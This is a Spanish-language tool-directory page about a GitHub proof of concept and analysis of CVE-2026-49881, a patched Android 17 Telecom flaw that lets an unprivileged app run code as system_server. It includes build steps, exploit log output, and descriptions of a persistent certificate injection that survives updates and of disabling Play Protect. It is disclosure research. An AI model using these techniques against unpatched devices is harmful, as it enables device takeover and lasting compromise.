Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
TLPE — CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app | Kitploit
Herramientas/GitHubGitHub/supersonic/tlpe
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubsupersonic/tlpe

TLPE

CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app

Ver Repositorio
951247hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC y análisis de CVE-2026-49881

Este es un PoC y un análisis de CVE-2026-49881, un problema lógico en la clase InCallController del servicio Telecom de Android 17 que permite a una aplicación sin privilegios obtener ejecución arbitraria de código como UID 1000 system_server sin interacción adicional del usuario. También demostramos aquí que la ejecución de código en system_server aún puede adaptarse fácilmente para lograr persistencia, incluso en versiones modernas de Android.

Reporté esta vulnerabilidad al Equipo de Seguridad de Android el 2026-04-10, fue confirmada el 2026-05-06 y se corrigió en el Boletín de Seguridad de Android de septiembre de 2026. (ver parche aquí)

Al momento del reporte, solo afectaba activamente a las compilaciones Pixel a partir de Android 16 QPR3 (junto con las compilaciones Beta de Android 17) hasta donde sé, pero luego llegó a la versión estable AOSP de Android 17.

Para protegerse de este problema, asegúrese de instalar la actualización del sistema de Google Play así como el parche de seguridad del sistema. (Telecom es un componente mainline desde Android 17)

TLPE

Notas sobre el PoC

  • El PoC demuestra la obtención de ejecución de código en system_server usando la vulnerabilidad, registra id y el seguimiento de pila en logcat, y se reinstala a sí mismo como un componente de system_server.
  • Una vez instalado el PoC, tocar el botón Start Exploit o realizar una llamada a través de la pila de telecom lo activará.
  • Compile el PoC ejecutando el build.sh incluido. De lo contrario, puede ejecutar manualmente ./gradlew assembleSystemRelease, mover el app-system-release.apk resultante a app/src/poc/assets/system.apk y luego ejecutar ./gradlew assemblePocRelease.
  • El PoC registrará su propio certificado como certificado ancestro para el UID 1000 después de una explotación exitosa. Este estado persiste a través de las OTA, incluido el parche de la propia vulnerabilidad. Para limpiar su dispositivo después de una ejecución del PoC, debe presionar el botón "Uninstall" en el PoC (que limpia el certificado inyectado); no obstante, recomiendo encarecidamente usar su propio almacén de claves de lanzamiento para firmar un APK del PoC compilado durante las pruebas. (en lugar del que el PoC usa por defecto en TLPE/app/teststore.jks)
  • Tenga en cuenta que el PoC, después de entrar en system_server, también desactiva Play Protect estableciendo package_verifier_user_consent en -1 en Settings.Global porque a veces puede interceptar la transacción de reinstalación debido a firmas desconocidas. Debe volver a habilitarlo en Configuración después de las pruebas.
  • Se ha validado en Pixel Android y AOSP, pero la etapa de ejecución de código debería funcionar en versiones de Android 17 personalizadas por OEM. La etapa de reinstalación como system_server podría necesitar personalización por OEM porque depende de recorrer la estructura de PMS usando símbolos que los OEM a veces cambian.

La salida esperada del logcat del PoC es:

04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Exploit successful!
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Current stack trace:
04-15 03:02:47.911  1558 12775 E TLPE    : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.934  1558 12785 E TLPE    : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935  1558 12785 E TLPE    : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957  1558 12785 E TLPE    : [+] Persistence successful, reinstalling...

Análisis

Esta es una vulnerabilidad inusualmente directa. Cada vez que ocurren ciertas acciones relacionadas con Telecom, InCallController intenta descubrir los servicios disponibles a través de getInCallServiceComponents. Esto se activa naturalmente cuando se registra una llamada en el sistema, pero una aplicación también puede activarlo bajo demanda gracias a la API de llamadas transaccionales TelecomManager.addCall. (nota: esto es lo que usa el botón Start Exploit del PoC) Esta API requiere MANAGE_OWN_CALLS, pero es un permiso normal e invisible para el usuario que se otorga automáticamente al instalarse.

Esta enumeración se implementa en las versiones vulnerables así:

private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
        String packageName, ComponentName componentName,
        int requestedType, boolean ignoreDisabled) {
        ...
        List<ResolveInfo> entries;
        entries = userPackageManager.queryIntentServices(
                serviceIntent,
                PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
        for (ResolveInfo entry : entries) {
            ServiceInfo serviceInfo = entry.serviceInfo;
Descargar herramienta